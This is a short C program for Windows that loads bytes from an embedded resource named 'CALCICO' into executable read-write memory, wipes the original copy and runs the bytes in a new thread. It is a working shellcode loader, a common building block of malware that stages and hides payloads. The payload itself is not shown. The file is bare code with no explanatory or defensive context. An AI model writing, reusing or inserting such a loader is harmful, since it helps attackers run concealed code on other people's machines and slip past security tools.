Load Resources

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#include <processthreadsapi.h>
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#include <windows.h>
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#include <stdio.h>
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#include <winnt.h>
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#define RET_SUCCESS 0
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#define RET_ERROR -1
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int main() {
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    HRSRC hRsrc = NULL;
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    HGLOBAL hRes = NULL;
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    HANDLE hFile = NULL;
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    PVOID pData = NULL;
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    SIZE_T resSize = 0;
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    DWORD bytesWritten = 0;
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    hRsrc = FindResourceW(NULL, L"CALCICO", MAKEINTRESOURCEW(10));
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    if (hRsrc == NULL) {
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        printf("Cannot locate resource, error: %lu \n", GetLastError());
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        return RET_ERROR;
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    }
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    resSize = SizeofResource(NULL, hRsrc);
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    if (resSize == 0) {
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        printf("Cannot get the size of resource, error: %lu \n", GetLastError());
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        return RET_ERROR;
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    }
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    hRes = LoadResource(NULL, hRsrc);
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    if (hRes == NULL) {
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        printf("Cannot load resource, error: %lu \n", GetLastError());
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        return RET_ERROR;
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    }
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    pData = LockResource(hRes);
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    PVOID pVirtualAllocAddr =
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        VirtualAlloc(NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
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    if (pVirtualAllocAddr == NULL) {
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        printf("Cannot run virtualAlloc, error : %lu \n", GetLastError());
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        return RET_ERROR;
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    }
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    memcpy(pVirtualAllocAddr, pData, resSize);
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    memset(pData, '\0', resSize);
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    HANDLE hCreateThread = CreateThread(NULL, 0, pVirtualAllocAddr, NULL, 0, NULL);
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    if (hCreateThread == NULL) {
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        printf("Cannot run CreateThread, error : %lu \n", GetLastError());
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        return RET_ERROR;
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    }
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    WaitForSingleObject(hCreateThread, INFINITE);
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    return RET_SUCCESS;
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}